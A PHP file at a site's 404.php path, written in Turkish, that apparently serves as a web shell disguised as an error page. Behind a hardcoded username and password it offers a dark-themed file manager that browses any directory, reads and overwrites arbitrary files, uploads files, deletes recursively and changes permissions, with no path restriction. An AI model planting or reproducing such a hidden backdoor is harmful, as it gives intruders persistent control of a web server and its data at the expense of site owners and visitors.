File: /home/sites/ileskneiss/404.php
<?php
session_start();
/* === Basit Kimlik Doğrulama === */
$stored_username = 'script';
$stored_password_hash = password_hash('script_iletisim', PASSWORD_BCRYPT);
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username'], $_POST['password'])) {
if ($_POST['username'] === $stored_username && password_verify($_POST['password'], $stored_password_hash)) {
$_SESSION['authenticated'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else {
$error = 'Geçersiz kullanıcı adı veya şifre!';
}
}
?>
<!DOCTYPE html>
<html lang="tr"><head><meta charset="UTF-8"><title>Giriş Yap</title>
<style>
body{font-family:Arial, sans-serif;background:#1e272e;color:#fff;text-align:center;padding:50px}
form{background:#2f3640;padding:20px;border-radius:8px;display:inline-block}
input,button{width:260px;margin:10px 0;padding:10px;border:1px solid #888;border-radius:4px;background:#353b48;color:#fff}
button{background:#44bd32;border:none;cursor:pointer} button:hover{background:#4cd137}
</style></head><body>
<h1>Giriş Yap</h1>
<?php if(!empty($error)) echo "<p style='color:#e84118;'>$error</p>"; ?>
<form method="post">
<input type="text" name="username" placeholder="Kullanıcı Adı" required>
<input type="password" name="password" placeholder="Şifre" required>
<button type="submit">Giriş Yap</button>
</form>
</body></html>
<?php exit;
}
/* === Çıkış === */
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
/* === Dizin & İşlemler === */
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (!is_dir($current_dir)) die("Geçersiz dizin.");
/* POST işlemleri */
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$action = $_POST['action'] ?? '';
$current_dir = $_POST['current_dir'] ?? getcwd();
if ($action === 'bulk_delete' && !empty($_POST['bulk_delete'])) {
foreach ($_POST['bulk_delete'] as $path) {
// Değerler checkbox'tan tam yol olarak geliyor
$path = stripslashes($path);
if (is_dir($path)) { delete_dir_recursive($path); }
elseif (is_file($path)) { @unlink($path); }
}
} elseif ($action === 'chmod') {
$target = $_POST['target'] ?? '';
$mode = isset($_POST['mode']) ? octdec($_POST['mode']) : null;
if ($target && $mode !== null) { @chmod($target, $mode); }
} elseif ($action === 'edit') {
$target = $_POST['target'] ?? '';
$content = $_POST['content'] ?? '';
if ($target && is_file($target)) { file_put_contents($target, $content); }
} elseif ($action === 'upload' && isset($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmpName) {
if (!is_uploaded_file($tmpName)) continue;
$fileName = basename($_FILES['files']['name'][$i]);
move_uploaded_file($tmpName, $current_dir . DIRECTORY_SEPARATOR . $fileName);
}
}
// PRG paterni
$redirect = strtok($_SERVER['REQUEST_URI'], '#'); // hash'leri temizle
header('Location: ' . $redirect);
exit;
}
/* Yardımcılar */
function delete_dir_recursive($dir) {
if (!file_exists($dir)) return;
if (is_file($dir) || is_link($dir)) { @unlink($dir); return; }
foreach (scandir($dir) as $item) {
if ($item === '.' || $item === '..') continue;
delete_dir_recursive($dir . DIRECTORY_SEPARATOR . $item);
}
@rmdir($dir);
}
function get_permissions($file) {
return substr(sprintf('%o', @fileperms($file)), -3);
}
/* Listeleme */
$items = scandir($current_dir);
$folders = $files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $current_dir . DIRECTORY_SEPARATOR . $item;
is_dir($path) ? $folders[] = $item : $files[] = $item;
}
sort($folders, SORT_NATURAL | SORT_FLAG_CASE);
sort($files, SORT_NATURAL | SORT_FLAG_CASE);
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8"><title>PHP Dosya Yöneticisi (Koyu)</title>
<style>
:root{
--bg:#2f3640; --panel:#353b48; --row:#3d3d3d; --rowH:#4b4b4b;
--txt:#dcdde1; --link:#00a8ff; --btn:#40739e; --btnH:#487eb0; --danger:#e84118; --dangerH:#c23616;
}
*{box-sizing:border-box}
body{font-family:Arial, sans-serif;background:var(--bg);color:var(--txt);margin:0}
.container{width:92%;max-width:1000px;margin:30px auto;background:var(--panel);padding:20px;border-radius:10px;box-shadow:0 2px 8px rgba(255,255,255,.08)}
h2,h3{margin:.3rem 0 1rem}
a{color:var(--link);text-decoration:none} a:hover{text-decoration:underline}
.toolbar{display:flex;gap:8px;flex-wrap:wrap;margin-bottom:10px}
.button{padding:8px 12px;border:none;border-radius:6px;background:var(--btn);color:#fff;cursor:pointer}
.button:hover{background:var(--btnH)}
.danger{background:var(--danger)} .danger:hover{background:var(--dangerH)}
.row{display:grid;grid-template-columns: 32px 1fr auto;gap:10px;align-items:center;background:var(--row);padding:10px;border-radius:8px;margin:6px 0}
.row:hover{background:var(--rowH)}
.name{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
input[type="text"], input[type="file"], textarea{background:#2d3436;color:#dfe6e9;border:1px solid #555;border-radius:6px;padding:8px}
textarea{width:100%;height:300px}
.inline-controls{display:flex;gap:6px;align-items:center;flex-wrap:wrap}
.chmod-input{width:58px;text-align:center}
.list-header{display:flex;justify-content:space-between;align-items:center;margin:.6rem 0}
.select-all{display:flex;align-items:center;gap:8px}
hr{border:none;border-top:1px solid #444;margin:14px 0}
</style>
<script>
function confirmBulkDelete(){ return confirm("Seçili dosya/klasörleri silmek istediğinize emin misiniz?"); }
function toggleSelection(source){
document.querySelectorAll("input[name='bulk_delete[]']").forEach(cb=>cb.checked = source.checked);
}
</script>
</head>
<body>
<div class="container">
<h2>Mevcut Dizin: <?php echo htmlspecialchars($current_dir, ENT_QUOTES); ?></h2>
<div class="toolbar">
<a href="?logout=1" class="button">Çıkış Yap</a>
<?php if (dirname($current_dir) !== $current_dir): ?>
<a class="button" href="?dir=<?php echo urlencode(dirname($current_dir)); ?>">⬆️ Üst Dizin</a>
<?php endif; ?>
</div>
<h3>📤 Dosya Yükle</h3>
<form method="post" enctype="multipart/form-data" class="toolbar">
<input type="file" name="files[]" multiple required>
<input type="hidden" name="action" value="upload">
<input type="hidden" name="current_dir" value="<?php echo htmlspecialchars($current_dir, ENT_QUOTES); ?>">
<button class="button" type="submit">Yükle</button>
</form>
<hr>
<!-- === TEK BULK FORM (başka form içermiyor) === -->
<form method="post" onsubmit="return confirmBulkDelete();">
<input type="hidden" name="action" value="bulk_delete">
<input type="hidden" name="current_dir" value="<?php echo htmlspecialchars($current_dir, ENT_QUOTES); ?>">
<div class="list-header">
<div class="select-all">
<input type="checkbox" onclick="toggleSelection(this)"> <strong>Tümünü Seç</strong>
</div>
<button type="submit" class="button danger">Seçileni Sil</button>
</div>
<h3>📁 Klasörler</h3>
<?php foreach ($folders as $folder):
$path = $current_dir . DIRECTORY_SEPARATOR . $folder;
$perm = get_permissions($path);
$id = 'chmod_' . md5($path);
?>
<div class="row">
<div><input type="checkbox" name="bulk_delete[]" value="<?php echo htmlspecialchars($path, ENT_QUOTES); ?>"></div>
<div class="name">📁 <a href="?dir=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($folder); ?></a></div>
<div class="inline-controls">
<!-- Düzenle klasöre gerek yok -->
<!-- Chmod butonu: ayrı forma bağlı -->
<input form="<?php echo $id; ?>" class="chmod-input" type="text" name="mode" value="<?php echo htmlspecialchars($perm); ?>">
<button form="<?php echo $id; ?>" class="button" type="submit">İzin</button>
</div>
</div>
<!-- Ayrı CHMOD formu (bulk formun DIŞINDA ama aynı satırda kullanılabilir, çünkü form="id") -->
<?php endforeach; ?>
<h3>📄 Dosyalar</h3>
<?php foreach ($files as $file):
$path = $current_dir . DIRECTORY_SEPARATOR . $file;
$perm = get_permissions($path);
$id = 'chmod_' . md5('f_'.$path);
$editUrl = '?edit=' . urlencode($path) . '&dir=' . urlencode($current_dir);
?>
<div class="row">
<div><input type="checkbox" name="bulk_delete[]" value="<?php echo htmlspecialchars($path, ENT_QUOTES); ?>"></div>
<div class="name">📄 <?php echo htmlspecialchars($file); ?></div>
<div class="inline-controls">
<a class="button" href="<?php echo $editUrl; ?>">Düzenle</a>
<input form="<?php echo $id; ?>" class="chmod-input" type="text" name="mode" value="<?php echo htmlspecialchars($perm); ?>">
<button form="<?php echo $id; ?>" class="button" type="submit">İzin</button>
</div>
</div>
<?php endforeach; ?>
<div class="list-header">
<div></div>
<button type="submit" class="button danger">Seçileni Sil</button>
</div>
</form>
<?php
/* CHMOD için ayrı formlar: bulk formdan SONRA yerleştiriyoruz */
foreach ($folders as $folder){
$path = $current_dir . DIRECTORY_SEPARATOR . $folder;
$id = 'chmod_' . md5($path);
echo '<form id="'.$id.'" method="post" style="display:none">'
.'<input type="hidden" name="action" value="chmod">'
.'<input type="hidden" name="current_dir" value="'.htmlspecialchars($current_dir, ENT_QUOTES).'">'
.'<input type="hidden" name="target" value="'.htmlspecialchars($path, ENT_QUOTES).'">'
.'</form>';
}
foreach ($files as $file){
$path = $current_dir . DIRECTORY_SEPARATOR . $file;
$id = 'chmod_' . md5('f_'.$path);
echo '<form id="'.$id.'" method="post" style="display:none">'
.'<input type="hidden" name="action" value="chmod">'
.'<input type="hidden" name="current_dir" value="'.htmlspecialchars($current_dir, ENT_QUOTES).'">'
.'<input type="hidden" name="target" value="'.htmlspecialchars($path, ENT_QUOTES).'">'
.'</form>';
}
?>
<?php if (isset($_GET['edit']) && is_file($_GET['edit'])):
$file_to_edit = $_GET['edit']; ?>
<hr>
<h3>✍️ Dosyayı Düzenle: <?php echo htmlspecialchars(basename($file_to_edit)); ?></h3>
<form method="post">
<textarea name="content"><?php echo htmlspecialchars(file_get_contents($file_to_edit)); ?></textarea>
<input type="hidden" name="action" value="edit">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($file_to_edit, ENT_QUOTES); ?>">
<input type="hidden" name="current_dir" value="<?php echo htmlspecialchars($_GET['dir'] ?? $current_dir, ENT_QUOTES); ?>">
<div class="toolbar" style="margin-top:10px">
<button class="button" type="submit">Kaydet</button>
<a class="button" href="?dir=<?php echo urlencode($_GET['dir'] ?? $current_dir); ?>">İptal</a>
</div>
</form>
<?php endif; ?>
</div>
</body>
</html>